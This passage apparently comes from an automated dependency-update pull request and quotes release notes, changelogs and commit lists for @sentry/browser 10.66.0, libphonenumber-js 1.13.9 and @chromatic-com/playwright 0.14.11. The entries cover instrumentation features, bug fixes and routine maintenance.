Add and use \u003ccode\u003edataCollection.databaseQueryData\u003c/code\u003e (for e.g. Supabase filter values and mutation bodies) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22219\"\u003e#22219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add and use \u003ccode\u003edataCollection.graphQL\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22221\"\u003e#22221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add stringify helper and make AI-tracing serializers safe (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nestjs): Add orchestrion diagnostics-channel instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22176\"\u003e#22176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nextjs): Add opt-in for orchestrion instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22043\"\u003e#22043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(node): Rewrite knex instrumentation to orchestrion tracing channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22237\"\u003e#22237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Capture and log orchestrion stats (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22269\"\u003e#22269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-kafkajs\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21923\"\u003e#21923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-mysql2\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22229\"\u003e#22229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-dataloader\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22236\"\u003e#22236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-generic-pool\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22240\"\u003e#22240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(sveltekit): Detect SvelteKit 3 native tracing from the Vite plugin (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21580\"\u003e#21580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: Include bundler CJS exports to fix Node warning (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22286\"\u003e#22286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser-utils): Remove readystatechange listener to prevent memory leaks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22216\"\u003e#22216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser): Propagate trace data from active span if \u003ccode\u003ehttp.client\u003c/code\u003e span is non-recording (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22246\"\u003e#22246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(core): Preserve propagation across ignored spans (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22277\"\u003e#22277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(node): move dc integration swap to _init (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22173\"\u003e#22173\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react-router): Correct url attributes for history and relative navigations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22131\"\u003e#22131\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react): Preserve parent path prefix for descendant route names in \u003ccode\u003ereact-router\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22225\"\u003e#22225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(server-utils): Dedupe ioredis orchestrion span for offline-queued commands (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22279\"\u003e#22279\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(vue): Refresh pageload URL attrs on TanStack onResolved (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22140\"\u003e#22140\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cul\u003e\n\u003cli\u003echore: Add external contributor to CHANGELOG.md (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22295\"\u003e#22295\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Do not treat flaky test issues as bug (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22272\"\u003e#22272\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: stub modules for orchestrion configs, channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22195\"\u003e#22195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update claude PR instructions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22241\"\u003e#22241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(changelog): Add external contributor to next changelog (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22234\"\u003e#22234\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign node/node-core reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22226\"\u003e#22226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign orchestrion reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22215\"\u003e#22215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump orchestrion dependencies to latest (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22287\"\u003e#22287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump \u003ccode\u003e@sentry/conventions\u003c/code\u003e to 0.16.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22270\"\u003e#22270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(gitignore): Add \u003ccode\u003e.pnpm-store\u003c/code\u003e to gitignore (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22223\"\u003e#22223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(skills): Add bump-conventions skill (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22271\"\u003e#22271\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Improve flaky test issue deduplication (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22042\"\u003e#22042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Unblock external-contributors checkout on fork PR merges (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22235\"\u003e#22235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(build): Replace ts-node with tsx for build and CI scripts (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22186\"\u003e#22186\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(core): Remove redundant log buffer flush (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22278\"\u003e#22278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(nestjs): extract shared span helpers (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22175\"\u003e#22175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(node): Refactor some otel internals in http integrations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22292\"\u003e#22292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(nuxt): Build the Nuxt module in-house instead of \u003ccode\u003e@​nuxt/module-builder\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22190\"\u003e#22190\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-javascript/blob/develop/CHANGELOG.md\"\u003e@​sentry/browser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.66.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(node-core): Deprecate \u003ccode\u003e@sentry/node-core\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22285\"\u003e#22285\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(tanstackstart): Deprecate \u003ccode\u003e@sentry/tanstackstart\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22284\"\u003e#22284\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edeps(server-utils): bump \u003ccode\u003e@​apm-js-collab/code-transformer\u003c/code\u003e and tracing-hooks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22172\"\u003e#22172\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bun): Add \u003ccode\u003einitWithoutDefaultIntegrations\u003c/code\u003e and \u003ccode\u003egetDefaultIntegrationsWithoutPerformance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22036\"\u003e#22036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bundlers): Add orchestrion bundler plugins (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22124\"\u003e#22124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(cloudflare): Support Cloudflare types v5 \u0026amp; newer wrangler versions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22180\"\u003e#22180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add and use \u003ccode\u003edataCollection.databaseQueryData\u003c/code\u003e (for e.g. Supabase filter values and mutation bodies) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22219\"\u003e#22219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add and use \u003ccode\u003edataCollection.graphQL\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22221\"\u003e#22221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add stringify helper and make AI-tracing serializers safe (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nestjs): Add orchestrion diagnostics-channel instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22176\"\u003e#22176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nextjs): Add opt-in for orchestrion instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22043\"\u003e#22043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(node): Rewrite knex instrumentation to orchestrion tracing channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22237\"\u003e#22237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Capture and log orchestrion stats (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22269\"\u003e#22269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-kafkajs\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21923\"\u003e#21923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-mysql2\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22229\"\u003e#22229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-dataloader\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22236\"\u003e#22236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-generic-pool\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22240\"\u003e#22240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(sveltekit): Detect SvelteKit 3 native tracing from the Vite plugin (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21580\"\u003e#21580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: Include bundler CJS exports to fix Node warning (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22286\"\u003e#22286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser-utils): Remove readystatechange listener to prevent memory leaks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22216\"\u003e#22216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser): Propagate trace data from active span if \u003ccode\u003ehttp.client\u003c/code\u003e span is non-recording (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22246\"\u003e#22246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(core): Preserve propagation across ignored spans (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22277\"\u003e#22277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(node): move dc integration swap to _init (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22173\"\u003e#22173\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react-router): Correct url attributes for history and relative navigations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22131\"\u003e#22131\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react): Preserve parent path prefix for descendant route names in \u003ccode\u003ereact-router\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22225\"\u003e#22225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(server-utils): Dedupe ioredis orchestrion span for offline-queued commands (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22279\"\u003e#22279\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(vue): Refresh pageload URL attrs on TanStack onResolved (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22140\"\u003e#22140\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cul\u003e\n\u003cli\u003echore: Add external contributor to CHANGELOG.md (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22295\"\u003e#22295\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Do not treat flaky test issues as bug (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22272\"\u003e#22272\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: stub modules for orchestrion configs, channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22195\"\u003e#22195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update claude PR instructions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22241\"\u003e#22241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(changelog): Add external contributor to next changelog (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22234\"\u003e#22234\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign node/node-core reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22226\"\u003e#22226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign orchestrion reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22215\"\u003e#22215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump orchestrion dependencies to latest (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22287\"\u003e#22287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump \u003ccode\u003e@sentry/conventions\u003c/code\u003e to 0.16.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22270\"\u003e#22270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(gitignore): Add \u003ccode\u003e.pnpm-store\u003c/code\u003e to gitignore (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22223\"\u003e#22223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(skills): Add bump-conventions skill (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22271\"\u003e#22271\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Improve flaky test issue deduplication (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22042\"\u003e#22042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Unblock external-contributors checkout on fork PR merges (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22235\"\u003e#22235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(build): Replace ts-node with tsx for build and CI scripts (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22186\"\u003e#22186\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(core): Remove redundant log buffer flush (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22278\"\u003e#22278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(nestjs): extract shared span helpers (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22175\"\u003e#22175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(node): Refactor some otel internals in http integrations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22292\"\u003e#22292\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/323cbf6778cef8b1d51886e92f1bb420cefa3255\"\u003e\u003ccode\u003e323cbf6\u003c/code\u003e\u003c/a\u003e release: 10.66.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/85d0619cf0a8c8b33fd79b5675551d19b279da6e\"\u003e\u003ccode\u003e85d0619\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22315\"\u003e#22315\u003c/a\u003e from getsentry/prepare-release/10.66.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/bddcb834ca8b3527b1843af4bc0f9794ababf0fb\"\u003e\u003ccode\u003ebddcb83\u003c/code\u003e\u003c/a\u003e meta(changelog): Update changelog for 10.66.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/595e940049757b78d0c4c08d3230f35a418d6dfd\"\u003e\u003ccode\u003e595e940\u003c/code\u003e\u003c/a\u003e feat(sveltekit): Detect SvelteKit 3 native tracing from the Vite plugin (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/21580\"\u003e#21580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/667cb713e9d0660b510b65939e75feef8b59a73f\"\u003e\u003ccode\u003e667cb71\u003c/code\u003e\u003c/a\u003e fix(browser): Propagate trace data from active span if \u003ccode\u003ehttp.client\u003c/code\u003e span is ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/e8d7bd4d104896fb6c7a11d33a9fa342891cc525\"\u003e\u003ccode\u003ee8d7bd4\u003c/code\u003e\u003c/a\u003e fix(core): Preserve propagation across ignored spans (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22277\"\u003e#22277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/bd69bd964acfbfd526fe1e11a597dceccad99471\"\u003e\u003ccode\u003ebd69bd9\u003c/code\u003e\u003c/a\u003e chore(node-core): Deprecate \u003ccode\u003e@sentry/node-core\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22285\"\u003e#22285\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/c04ebdac6324a859c1a5a39d8680c64e8a7250bf\"\u003e\u003ccode\u003ec04ebda\u003c/code\u003e\u003c/a\u003e fix(react): Preserve parent path prefix for descendant route names in `react-...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/2cbacb555fdcf7080a714988cd9f80960e0ea031\"\u003e\u003ccode\u003e2cbacb5\u003c/code\u003e\u003c/a\u003e feat(node): Rewrite knex instrumentation to orchestrion tracing channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22\"\u003e#22\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/c9716eb8b3d0bc525db99686b6e140622f023651\"\u003e\u003ccode\u003ec9716eb\u003c/code\u003e\u003c/a\u003e feat(server-utils): Capture and log orchestrion stats (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22269\"\u003e#22269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/getsentry/sentry-javascript/compare/10.65.0...10.66.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `libphonenumber-js` from 1.13.8 to 1.13.9\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://gitlab.com/catamphetamine/libphonenumber-js/blob/master/CHANGELOG.md\"\u003elibphonenumber-js's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e1.13.9 / 17.7.2026\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated metadata to version 9.0.35:\n\u003cul\u003e\n\u003cli\u003eUpdated alternate formatting data for country calling code(s): 995\u003c/li\u003e\n\u003cli\u003eUpdated phone metadata for region code(s):\nAC, CN, FO, GE, IR, KE, SE, UG, ZW\u003c/li\u003e\n\u003cli\u003eUpdated short number metadata for region code(s): FR\u003c/li\u003e\n\u003cli\u003eUpdated geocoding data for country calling code(s): 86 (en, zh)\u003c/li\u003e\n\u003cli\u003eUpdated carrier data for country calling code(s):\n61 (en), 86 (en, zh), 93 (en, fa), 247 (en), 250 (en), 254 (en), 256 (en),\n263 (en), 298 (en), 420 (en), 976 (en), 995 (en)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://gitlab.com/catamphetamine/libphonenumber-js/commits/master\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@chromatic-com/playwright` from 0.14.10 to 0.14.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/chromaui/chromatic-e2e/releases\"\u003e@​chromatic-com/playwright's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​chromatic-com/playwright\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.14.11\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e2993acf: Fix \u003ccode\u003eModule not found: Error: Can't resolve 'storybook/internal/csf'\u003c/code\u003e when the archive Storybook is built in a project where \u003ccode\u003estorybook\u003c/code\u003e is not reachable from the project root (e.g. pnpm, regardless of the \u003ccode\u003ehoist\u003c/code\u003e setting). Webpack now falls back to resolving \u003ccode\u003estorybook/*\u003c/code\u003e imports from the \u003ccode\u003estorybook\u003c/code\u003e install these packages depend on.\u003c/li\u003e\n\u003cli\u003e0994e2e: Feat: add support for setting \u003ccode\u003ecolorScheme\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/chromaui/chromatic-e2e/blob/main/packages/playwright/CHANGELOG.md\"\u003e@​chromatic-com/playwright's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.14.11\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e2993acf: Fix \u003ccode\u003eModule not found: Error: Can't resolve 'storybook/internal/csf'\u003c/code\u003e when the archive Storybook is built in a project where \u003ccode\u003estorybook\u003c/code\u003e is not reachable from the project root (e.g. pnpm, regardless of the \u003ccode\u003ehoist\u003c/code\u003e setting). Webpack now falls back to resolving \u003ccode\u003estorybook/*\u003c/code\u003e imports from the \u003ccode\u003estorybook\u003c/code\u003e install these packages depend on.\u003c/li\u003e\n\u003cli\u003e0994e2e: Feat: add support for setting \u003ccode\u003ecolorScheme\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/3f8172b1d7480455768a426c143cca7f8d04c8c0\"\u003e\u003ccode\u003e3f8172b\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/2993acfa533c9bb5d742ef14bf0ef22b473de142\"\u003e\u003ccode\u003e2993acf\u003c/code\u003e\u003c/a\u003e fix: resolve storybook properly when \u003ccode\u003ehoist: false\u003c/code\u003e in pnpm (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/417\"\u003e#417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/0994e2e817c2a82a004790163bcb481678c53e12\"\u003e\u003ccode\u003e0994e2e\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003ecolorScheme\u003c/code\u003e option (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/411\"\u003e#411\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/0162916f7dc50d8d83aacbbe16dd3cdbc4e8343c\"\u003e\u003ccode\u003e0162916\u003c/code\u003e\u003c/a\u003e ci: build only required projects when testing (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/399\"\u003e#399\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/91d232c3ca3cf95374efb94b921df0312bd16a95\"\u003e\u003ccode\u003e91d232c\u003c/code\u003e\u003c/a\u003e build: replace yarn with pnpm (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/396\"\u003e#396\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/d70fc20fcfc7fbd7e93b6529ba3f54ea6742b1ce\"\u003e\u003ccode\u003ed70fc20\u003c/code\u003e\u003c/a\u003e build: embedded packages from npm (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/400\"\u003e#400\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 